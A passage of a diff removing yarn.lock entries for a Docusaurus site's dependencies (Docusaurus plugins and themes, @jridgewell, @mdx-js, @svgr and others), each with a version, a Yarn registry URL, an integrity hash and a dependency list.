"https://registry.yarnpkg.com/@docusaurus/plugin-google-tag-manager/-/plugin-google-tag-manager-2.4.1.tgz#b99f71aec00b112bbf509ef2416e404a95eb607e" - integrity sha512-Zg4Ii9CMOLfpeV2nG74lVTWNtisFaH9QNtEw48R5QE1KIwDBdTVaiSA18G1EujZjrzJJzXN79VhINSbOJO/r3g== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - tslib "^2.4.0" - -"@docusaurus/plugin-sitemap@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/plugin-sitemap/-/plugin-sitemap-2.4.1.tgz#8a7a76ed69dc3e6b4474b6abb10bb03336a9de6d" - integrity sha512-lZx+ijt/+atQ3FVE8FOHV/+X3kuok688OydDXrqKRJyXBJZKgGjA2Qa8RjQ4f27V2woaXhtnyrdPop/+OjVMRg== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/logger" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-common" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - fs-extra "^10.1.0" - sitemap "^7.1.1" - tslib "^2.4.0" - -"@docusaurus/preset-classic@^2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/preset-classic/-/preset-classic-2.4.1.tgz#072f22d0332588e9c5f512d4bded8d7c99f91497" - integrity sha512-P4//+I4zDqQJ+UDgoFrjIFaQ1MeS9UD1cvxVQaI6O7iBmiHQm0MGROP1TbE7HlxlDPXFJjZUK3x3cAoK63smGQ== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/plugin-content-blog" "2.4.1" - "@docusaurus/plugin-content-docs" "2.4.1" - "@docusaurus/plugin-content-pages" "2.4.1" - "@docusaurus/plugin-debug" "2.4.1" - "@docusaurus/plugin-google-analytics" "2.4.1" - "@docusaurus/plugin-google-gtag" "2.4.1" - "@docusaurus/plugin-google-tag-manager" "2.4.1" - "@docusaurus/plugin-sitemap" "2.4.1" - "@docusaurus/theme-classic" "2.4.1" - "@docusaurus/theme-common" "2.4.1" - "@docusaurus/theme-search-algolia" "2.4.1" - "@docusaurus/types" "2.4.1" - -"@docusaurus/react-loadable@5.5.2": - version "5.5.2" - resolved "https://registry.yarnpkg.com/@docusaurus/react-loadable/-/react-loadable-5.5.2.tgz#81aae0db81ecafbdaee3651f12804580868fa6ce" - integrity sha512-A3dYjdBGuy0IGT+wyLIGIKLRE+sAk1iNk0f1HjNDysO7u8lhL4N3VEm+FAubmJbAztn94F7MxBTPmnixbiyFdQ== - dependencies: - "@types/react" "*" - prop-types "^15.6.2" - -"@docusaurus/theme-classic@2.4.1", "@docusaurus/theme-classic@^2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/theme-classic/-/theme-classic-2.4.1.tgz#0060cb263c1a73a33ac33f79bb6bc2a12a56ad9e" - integrity sha512-Rz0wKUa+LTW1PLXmwnf8mn85EBzaGSt6qamqtmnh9Hflkc+EqiYMhtUJeLdV+wsgYq4aG0ANc+bpUDpsUhdnwg== - dependencies: - "@docusaurus/core" "2.4.1" - "@docusaurus/mdx-loader" "2.4.1" - "@docusaurus/module-type-aliases" "2.4.1" - "@docusaurus/plugin-content-blog" "2.4.1" - "@docusaurus/plugin-content-docs" "2.4.1" - "@docusaurus/plugin-content-pages" "2.4.1" - "@docusaurus/theme-common" "2.4.1" - "@docusaurus/theme-translations" "2.4.1" - "@docusaurus/types" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-common" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - "@mdx-js/react" "^1.6.22" - clsx "^1.2.1" - copy-text-to-clipboard "^3.0.1" - infima "0.2.0-alpha.43" - lodash "^4.17.21" - nprogress "^0.2.0" - postcss "^8.4.14" - prism-react-renderer "^1.3.5" - prismjs "^1.28.0" - react-router-dom "^5.3.3" - rtlcss "^3.5.0" - tslib "^2.4.0" - utility-types "^3.10.0" - -"@docusaurus/theme-common@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/theme-common/-/theme-common-2.4.1.tgz#03e16f7aa96455e952f3243ac99757b01a3c83d4" - integrity sha512-G7Zau1W5rQTaFFB3x3soQoZpkgMbl/SYNG8PfMFIjKa3M3q8n0m/GRf5/H/e5BqOvt8c+ZWIXGCiz+kUCSHovA== - dependencies: - "@docusaurus/mdx-loader" "2.4.1" - "@docusaurus/module-type-aliases" "2.4.1" - "@docusaurus/plugin-content-blog" "2.4.1" - "@docusaurus/plugin-content-docs" "2.4.1" - "@docusaurus/plugin-content-pages" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-common" "2.4.1" - "@types/history" "^4.7.11" - "@types/react" "*" - "@types/react-router-config" "*" - clsx "^1.2.1" - parse-numeric-range "^1.3.0" - prism-react-renderer "^1.3.5" - tslib "^2.4.0" - use-sync-external-store "^1.2.0" - utility-types "^3.10.0" - -"@docusaurus/theme-search-algolia@2.4.1", "@docusaurus/theme-search-algolia@^2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/theme-search-algolia/-/theme-search-algolia-2.4.1.tgz#906bd2cca3fced0241985ef502c892f58ff380fc" - integrity sha512-6BcqW2lnLhZCXuMAvPRezFs1DpmEKzXFKlYjruuas+Xy3AQeFzDJKTJFIm49N77WFCTyxff8d3E4Q9pi/+5McQ== - dependencies: - "@docsearch/react" "^3.1.1" - "@docusaurus/core" "2.4.1" - "@docusaurus/logger" "2.4.1" - "@docusaurus/plugin-content-docs" "2.4.1" - "@docusaurus/theme-common" "2.4.1" - "@docusaurus/theme-translations" "2.4.1" - "@docusaurus/utils" "2.4.1" - "@docusaurus/utils-validation" "2.4.1" - algoliasearch "^4.13.1" - algoliasearch-helper "^3.10.0" - clsx "^1.2.1" - eta "^2.0.0" - fs-extra "^10.1.0" - lodash "^4.17.21" - tslib "^2.4.0" - utility-types "^3.10.0" - -"@docusaurus/theme-translations@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/theme-translations/-/theme-translations-2.4.1.tgz#4d49df5865dae9ef4b98a19284ede62ae6f98726" - integrity sha512-T1RAGP+f86CA1kfE8ejZ3T3pUU3XcyvrGMfC/zxCtc2BsnoexuNI9Vk2CmuKCb+Tacvhxjv5unhxXce0+NKyvA== - dependencies: - fs-extra "^10.1.0" - tslib "^2.4.0" - -"@docusaurus/types@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/types/-/types-2.4.1.tgz#d8e82f9e0f704984f98df1f93d6b4554d5458705" - integrity sha512-0R+cbhpMkhbRXX138UOc/2XZFF8hiZa6ooZAEEJFp5scytzCw4tC1gChMFXrpa3d2tYE6AX8IrOEpSonLmfQuQ== - dependencies: - "@types/history" "^4.7.11" - "@types/react" "*" - commander "^5.1.0" - joi "^17.6.0" - react-helmet-async "^1.3.0" - utility-types "^3.10.0" - webpack "^5.73.0" - webpack-merge "^5.8.0" - -"@docusaurus/utils-common@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/utils-common/-/utils-common-2.4.1.tgz#7f72e873e49bd5179588869cc3ab7449a56aae63" - integrity sha512-bCVGdZU+z/qVcIiEQdyx0K13OC5mYwxhSuDUR95oFbKVuXYRrTVrwZIqQljuo1fyJvFTKHiL9L9skQOPokuFNQ== - dependencies: - tslib "^2.4.0" - -"@docusaurus/utils-validation@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/utils-validation/-/utils-validation-2.4.1.tgz#19959856d4a886af0c5cfb357f4ef68b51151244" - integrity sha512-unII3hlJlDwZ3w8U+pMO3Lx3RhI4YEbY3YNsQj4yzrkZzlpqZOLuAiZK2JyULnD+TKbceKU0WyWkQXtYbLNDFA== - dependencies: - "@docusaurus/logger" "2.4.1" - "@docusaurus/utils" "2.4.1" - joi "^17.6.0" - js-yaml "^4.1.0" - tslib "^2.4.0" - -"@docusaurus/utils@2.4.1": - version "2.4.1" - resolved "https://registry.yarnpkg.com/@docusaurus/utils/-/utils-2.4.1.tgz#9c5f76eae37b71f3819c1c1f0e26e6807c99a4fc" - integrity sha512-1lvEZdAQhKNht9aPXPoh69eeKnV0/62ROhQeFKKxmzd0zkcuE/Oc5Gpnt00y/f5bIsmOsYMY7Pqfm/5rteT5GA== - dependencies: - "@docusaurus/logger" "2.4.1" - "@svgr/webpack" "^6.2.1" - escape-string-regexp "^4.0.0" - file-loader "^6.2.0" - fs-extra "^10.1.0" - github-slugger "^1.4.0" - globby "^11.1.0" - gray-matter "^4.0.3" - js-yaml "^4.1.0" - lodash "^4.17.21" - micromatch "^4.0.5" - resolve-pathname "^3.0.0" - shelljs "^0.8.5" - tslib "^2.4.0" - url-loader "^4.1.1" - webpack "^5.73.0" - -"@hapi/hoek@^9.0.0": - version "9.3.0" - resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-9.3.0.tgz#8368869dcb735be2e7f5cb7647de78e167a251fb" - integrity sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ== - -"@hapi/topo@^5.0.0": - version "5.1.0" - resolved "https://registry.yarnpkg.com/@hapi/topo/-/topo-5.1.0.tgz#dc448e332c6c6e37a4dc02fd84ba8d44b9afb012" - integrity sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg== - dependencies: - "@hapi/hoek" "^9.0.0" - -"@jest/schemas@^29.0.0": - version "29.0.0" - resolved "https://registry.yarnpkg.com/@jest/schemas/-/schemas-29.0.0.tgz#5f47f5994dd4ef067fb7b4188ceac45f77fe952a" - integrity sha512-3Ab5HgYIIAnS0HjqJHQYZS+zXc4tUmTmBH3z83ajI6afXp8X3ZtdLX+nXx+I7LNkJD7uN9LAVhgnjDgZa2z0kA== - dependencies: - "@sinclair/typebox" "^0.24.1" - -"@jest/types@^29.3.1": - version "29.3.1" - resolved "https://registry.yarnpkg.com/@jest/types/-/types-29.3.1.tgz#7c5a80777cb13e703aeec6788d044150341147e3" - integrity sha512-d0S0jmmTpjnhCmNpApgX3jrUZgZ22ivKJRvL2lli5hpCRoNnp1f85r2/wpKfXuYu8E7Jjh1hGfhPyup1NM5AmA== - dependencies: - "@jest/schemas" "^29.0.0" - "@types/istanbul-lib-coverage" "^2.0.0" - "@types/istanbul-reports" "^3.0.0" - "@types/node" "*" - "@types/yargs" "^17.0.8" - chalk "^4.0.0" - -"@jridgewell/gen-mapping@^0.1.0": - version "0.1.1" - resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz#e5d2e450306a9491e3bd77e323e38d7aff315996" - integrity sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w== - dependencies: - "@jridgewell/set-array" "^1.0.0" - "@jridgewell/sourcemap-codec" "^1.4.10" - -"@jridgewell/gen-mapping@^0.3.0", "@jridgewell/gen-mapping@^0.3.2": - version "0.3.2" - resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz#c1aedc61e853f2bb9f5dfe6d4442d3b565b253b9" - integrity sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A== - dependencies: - "@jridgewell/set-array" "^1.0.1" - "@jridgewell/sourcemap-codec" "^1.4.10" - "@jridgewell/trace-mapping" "^0.3.9" - -"@jridgewell/resolve-uri@3.1.0", "@jridgewell/resolve-uri@^3.0.3": - version "3.1.0" - resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz#2203b118c157721addfe69d47b70465463066d78" - integrity sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w== - -"@jridgewell/resolve-uri@^3.1.0": - version "3.1.1" - resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz#c08679063f279615a3326583ba3a90d1d82cc721" - integrity sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA== - -"@jridgewell/set-array@^1.0.0", "@jridgewell/set-array@^1.0.1": - version "1.1.2" - resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.1.2.tgz#7c6cf998d6d20b914c0a55a91ae928ff25965e72" - integrity sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw== - -"@jridgewell/source-map@^0.3.2": - version "0.3.2" - resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.2.tgz#f45351aaed4527a298512ec72f81040c998580fb" - integrity sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw== - dependencies: - "@jridgewell/gen-mapping" "^0.3.0" - "@jridgewell/trace-mapping" "^0.3.9" - -"@jridgewell/sourcemap-codec@1.4.14", "@jridgewell/sourcemap-codec@^1.4.10": - version "1.4.14" - resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz#add4c98d341472a289190b424efbdb096991bb24" - integrity sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw== - -"@jridgewell/sourcemap-codec@^1.4.14": - version "1.4.15" - resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz#d7c6e6755c78567a951e04ab52ef0fd26de59f32" - integrity sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg== - -"@jridgewell/trace-mapping@^0.3.14": - version "0.3.17" - resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.17.tgz#793041277af9073b0951a7fe0f0d8c4c98c36985" - integrity sha512-MCNzAp77qzKca9+W/+I0+sEpaUnZoeasnghNeVc41VZCEKaCH73Vq3BZZ/SzWIgrqE4H4ceI+p+b6C0mHf9T4g== - dependencies: - "@jridgewell/resolve-uri" "3.1.0" - "@jridgewell/sourcemap-codec" "1.4.14" - -"@jridgewell/trace-mapping@^0.3.17": - version "0.3.20" - resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.20.tgz#72e45707cf240fa6b081d0366f8265b0cd10197f" - integrity sha512-R8LcPeWZol2zR8mmH3JeKQ6QRCFb7XgUhV9ZlGhHLGyg4wpPiPZNQOOWhFZhxKw8u//yTbNGI42Bx/3paXEQ+Q== - dependencies: - "@jridgewell/resolve-uri" "^3.1.0" - "@jridgewell/sourcemap-codec" "^1.4.14" - -"@jridgewell/trace-mapping@^0.3.7", "@jridgewell/trace-mapping@^0.3.9": - version "0.3.14" - resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.14.tgz#b231a081d8f66796e475ad588a1ef473112701ed" - integrity sha512-bJWEfQ9lPTvm3SneWwRFVLzrh6nhjwqw7TUFFBEMzwvg7t7PCDenf2lDwqo4NQXzdpgBXyFgDWnQA+2vkruksQ== - dependencies: - "@jridgewell/resolve-uri" "^3.0.3" - "@jridgewell/sourcemap-codec" "^1.4.10" - -"@leichtgewicht/ip-codec@^2.0.1": - version "2.0.4" - resolved "https://registry.yarnpkg.com/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz#b2ac626d6cb9c8718ab459166d4bb405b8ffa78b" - integrity sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A== - -"@mdx-js/mdx@^1.6.22": - version "1.6.22" - resolved "https://registry.yarnpkg.com/@mdx-js/mdx/-/mdx-1.6.22.tgz#8a723157bf90e78f17dc0f27995398e6c731f1ba" - integrity sha512-AMxuLxPz2j5/6TpF/XSdKpQP1NlG0z11dFOlq+2IP/lSgl11GY8ji6S/rgsViN/L0BDvHvUMruRb7ub+24LUYA== - dependencies: - "@babel/core" "7.12.9" - "@babel/plugin-syntax-jsx" "7.12.1" - "@babel/plugin-syntax-object-rest-spread" "7.8.3" - "@mdx-js/util" "1.6.22" - babel-plugin-apply-mdx-type-prop "1.6.22" - babel-plugin-extract-import-names "1.6.22" - camelcase-css "2.0.1" - detab "2.0.4" - hast-util-raw "6.0.1" - lodash.uniq "4.5.0" - mdast-util-to-hast "10.0.1" - remark-footnotes "2.0.0" - remark-mdx "1.6.22" - remark-parse "8.0.3" - remark-squeeze-paragraphs "4.0.0" - style-to-object "0.3.0" - unified "9.2.0" - unist-builder "2.0.3" - unist-util-visit "2.0.3" - -"@mdx-js/react@^1.6.22": - version "1.6.22" - resolved "https://registry.yarnpkg.com/@mdx-js/react/-/react-1.6.22.tgz#ae09b4744fddc74714ee9f9d6f17a66e77c43573" - integrity sha512-TDoPum4SHdfPiGSAaRBw7ECyI8VaHpK8GJugbJIJuqyh6kzw9ZLJZW3HGL3NNrJGxcAixUvqROm+YuQOo5eXtg== - -"@mdx-js/util@1.6.22": - version "1.6.22" - resolved "https://registry.yarnpkg.com/@mdx-js/util/-/util-1.6.22.tgz#219dfd89ae5b97a8801f015323ffa4b62f45718b" - integrity sha512-H1rQc1ZOHANWBvPcW+JpGwr+juXSxM8Q8YCkm3GhZd8REu1fHR3z99CErO1p9pkcfcxZnMdIZdIsXkOHY0NilA== - -"@nodelib/fs.scandir@2.1.5": - version "2.1.5" - resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5" - integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g== - dependencies: - "@nodelib/fs.stat" "2.0.5" - run-parallel "^1.1.9" - -"@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2": - version "2.0.5" - resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b" - integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A== - -"@nodelib/fs.walk@^1.2.3": - version "1.2.8" - resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz#e95737e8bb6746ddedf69c556953494f196fe69a" - integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg== - dependencies: - "@nodelib/fs.scandir" "2.1.5" - fastq "^1.6.0" - -"@polka/url@^1.0.0-next.20": - version "1.0.0-next.21" - resolved "https://registry.yarnpkg.com/@polka/url/-/url-1.0.0-next.21.tgz#5de5a2385a35309427f6011992b544514d559aa1" - integrity sha512-a5Sab1C4/icpTZVzZc5Ghpz88yQtGOyNqYXcZgOssB2uuAr+wF/MvN6bgtW32q7HHrvBki+BsZ0OuNv6EV3K9g== - -"@sideway/address@^4.1.3": - version "4.1.4" - resolved "https://registry.yarnpkg.com/@sideway/address/-/address-4.1.4.tgz#03dccebc6ea47fdc226f7d3d1ad512955d4783f0" - integrity sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw== - dependencies: - "@hapi/hoek" "^9.0.0" - -"@sideway/formula@^3.0.0": - version "3.0.1" - resolved "https://registry.yarnpkg.com/@sideway/formula/-/formula-3.0.1.tgz#80fcbcbaf7ce031e0ef2dd29b1bfc7c3f583611f" - integrity sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg== - -"@sideway/pinpoint@^2.0.0": - version "2.0.0" - resolved "https://registry.yarnpkg.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz#cff8ffadc372ad29fd3f78277aeb29e632cc70df" - integrity sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ== - -"@sinclair/typebox@^0.24.1": - version "0.24.51" - resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.24.51.tgz#645f33fe4e02defe26f2f5c0410e1c094eac7f5f" - integrity sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA== - -"@sindresorhus/is@^4.0.0": - version "4.6.0" - resolved "https://registry.yarnpkg.com/@sindresorhus/is/-/is-4.6.0.tgz#3c7c9c46e678feefe7a2e5bb609d3dbd665ffb3f" - integrity sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw== - -"@slorber/static-site-generator-webpack-plugin@^4.0.7": - version "4.0.7" - resolved "https://registry.yarnpkg.com/@slorber/static-site-generator-webpack-plugin/-/static-site-generator-webpack-plugin-4.0.7.tgz#fc1678bddefab014e2145cbe25b3ce4e1cfc36f3" - integrity sha512-Ug7x6z5lwrz0WqdnNFOMYrDQNTPAprvHLSh6+/fmml3qUiz6l5eq+2MzLKWtn/q5K5NpSiFsZTP/fck/3vjSxA== - dependencies: - eval "^0.1.8" - p-map "^4.0.0" - webpack-sources "^3.2.2" - -"@svgr/babel-plugin-add-jsx-attribute@^6.0.0": - version "6.0.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-6.0.0.tgz#bd6d1ff32a31b82b601e73672a789cc41e84fe18" - integrity sha512-MdPdhdWLtQsjd29Wa4pABdhWbaRMACdM1h31BY+c6FghTZqNGT7pEYdBoaGeKtdTOBC/XNFQaKVj+r/Ei2ryWA== - -"@svgr/babel-plugin-remove-jsx-attribute@^6.0.0": - version "6.0.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-6.0.0.tgz#58654908beebfa069681a83332544b17e5237e89" - integrity sha512-aVdtfx9jlaaxc3unA6l+M9YRnKIZjOhQPthLKqmTXC8UVkBLDRGwPKo+r8n3VZN8B34+yVajzPTZ+ptTSuZZCw== - -"@svgr/babel-plugin-remove-jsx-empty-expression@^6.0.0": - version "6.0.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-6.0.0.tgz#d06dd6e8a8f603f92f9979bb9990a1f85a4f57ba" - integrity sha512-Ccj42ApsePD451AZJJf1QzTD1B/BOU392URJTeXFxSK709i0KUsGtbwyiqsKu7vsYxpTM0IA5clAKDyf9RCZyA== - -"@svgr/babel-plugin-replace-jsx-attribute-value@^6.0.0": - version "6.0.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-6.0.0.tgz#0b85837577b02c31c09c758a12932820f5245cee" - integrity sha512-88V26WGyt1Sfd1emBYmBJRWMmgarrExpKNVmI9vVozha4kqs6FzQJ/Kp5+EYli1apgX44518/0+t9+NU36lThQ== - -"@svgr/babel-plugin-svg-dynamic-title@^6.0.0": - version "6.0.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-6.0.0.tgz#28236ec26f7ab9d486a487d36ae52d58ba15676f" - integrity sha512-F7YXNLfGze+xv0KMQxrl2vkNbI9kzT9oDK55/kUuymh1ACyXkMV+VZWX1zEhSTfEKh7VkHVZGmVtHg8eTZ6PRg== - -"@svgr/babel-plugin-svg-em-dimensions@^6.0.0": - version "6.0.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-6.0.0.tgz#40267c5dea1b43c4f83a0eb6169e08b43d8bafce" - integrity sha512-+rghFXxdIqJNLQK08kwPBD3Z22/0b2tEZ9lKiL/yTfuyj1wW8HUXu4bo/XkogATIYuXSghVQOOCwURXzHGKyZA== - -"@svgr/babel-plugin-transform-react-native-svg@^6.0.0": - version "6.0.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-6.0.0.tgz#eb688d0a5f539e34d268d8a516e81f5d7fede7c9" - integrity sha512-VaphyHZ+xIKv5v0K0HCzyfAaLhPGJXSk2HkpYfXIOKb7DjLBv0soHDxNv6X0vr2titsxE7klb++u7iOf7TSrFQ== - -"@svgr/babel-plugin-transform-svg-component@^6.2.0": - version "6.2.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-6.2.0.tgz#7ba61d9fc1fb42b0ba1a04e4630019fa7e993c4f" - integrity sha512-bhYIpsORb++wpsp91fymbFkf09Z/YEKR0DnFjxvN+8JHeCUD2unnh18jIMKnDJTWtvpTaGYPXELVe4OOzFI0xg== - -"@svgr/babel-preset@^6.2.0": - version "6.2.0" - resolved "https://registry.yarnpkg.com/@svgr/babel-preset/-/babel-preset-6.2.0.tgz#1d3ad8c7664253a4be8e4a0f0e6872f30d8af627" - integrity sha512-4WQNY0J71JIaL03DRn0vLiz87JXx0b9dYm2aA8XHlQJQoixMl4r/soYHm8dsaJZ3jWtkCiOYy48dp9izvXhDkQ== - dependencies: - "@svgr/babel-plugin-add-jsx-attribute" "^6.0.0" - "@svgr/babel-plugin-remove-jsx-attribute" "^6.0.0" - "@svgr/babel-plugin-remove-jsx-empty-expression" "^6.0.0" - "@svgr/babel-plugin-replace-jsx-attribute-value" "^6.0.0" - "@svgr/babel-plugin-svg-dynamic-title" "^6.0.0" - "@svgr/babel-plugin-svg-em-dimensions" "^6.0.0" - "@svgr/babel-plugin-transform-react-native-svg" "^6.0.0" - "@svgr/babel-plugin-transform-svg-component" "^6.2.0" - -"@svgr/core@^6.2.1": - version "6.2.1" - resolved "https://registry.yarnpkg.com/@svgr/core/-/core-6.2.1.tgz#195de807a9f27f9e0e0d678e01084b05c54fdf61" - integrity sha512-NWufjGI2WUyrg46mKuySfviEJ6IxHUOm/8a3Ph38VCWSp+83HBraCQrpEM3F3dB6LBs5x8OElS8h3C0oOJaJAA== - dependencies: - "@svgr/plugin-jsx" "^6.2.1" - camelcase "^6.2.0" - cosmiconfig "^7.0.1" - -"@svgr/hast-util-to-babel-ast@^6.2.1": - version "6.2.1" - resolved "https://registry.yarnpkg.com/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-6.2.1.tgz#ae065567b74cbe745afae617053adf9a764bea25" - integrity sha512-pt7MMkQFDlWJVy9ULJ1h+hZBDGFfSCwlBNW1HkLnVi7jUhyEXUaGYWi1x6bM2IXuAR9l265khBT4Av4lPmaNLQ== - dependencies: - "@babel/types" "^7.15.6" - entities "^3.0.1" - -"@svgr/plugin-jsx@^6.2.1": - version "6.2.1" - resolved "https://registry.yarnpkg.com/@svgr/plugin-jsx/-/plugin-jsx-6.2.1.tgz#5668f1d2aa18c2f1bb7a1fc9f682d3f9aed263bd" - integrity sha512-u+MpjTsLaKo6r3pHeeSVsh9hmGRag2L7VzApWIaS8imNguqoUwDq/u6U/NDmYs/KAsrmtBjOEaAAPbwNGXXp1g== - dependencies: - "@babel/core" "^7.15.5" - "@svgr/babel-preset" "^6.2.0" - "@svgr/hast-util-to-babel-ast" "^6.2.1" - svg-parser "^2.0.2" - -"@svgr/plugin-svgo@^6.2.0": - version "6.2.0" - resolved "https://registry.yarnpkg.com/@svgr/plugin-svgo/-/plugin-svgo-6.2.0.tgz#4cbe6a33ccccdcae4e3b63ded64cc1cbe1faf48c" - integrity sha512-oDdMQONKOJEbuKwuy4Np6VdV6qoaLLvoY86hjvQEgU82Vx1MSWRyYms6Sl0f+NtqxLI/rDVufATbP/ev996k3Q== - dependencies: - cosmiconfig "^7.0.1" - deepmerge "^4.2.2" - svgo "^2.5.0" - -"@svgr/webpack@^6.2.1": - version "6.2.1" - resolved "https://registry.yarnpkg.com/@svgr/webpack/-/webpack-6.2.1.tgz#ef5d51c1b6be4e7537fb9f76b3f2b2e22b63c58d" - integrity sha512-h09ngMNd13hnePwgXa+Y5CgOjzlCvfWLHg+MBnydEedAnuLRzUHUJmGS3o2OsrhxTOOqEsPOFt5v/f6C5Qulcw== - dependencies: - "@babel/core" "^7.15.5" - "@babel/plugin-transform-react-constant-elements" "^7.14.5" - "@babel/preset-env" "^7.15.6" - "@babel/preset-react" "^7.14.5" - "@babel/preset-typescript" "^7.15.0" - "@svgr/core" "^6.2.1" - 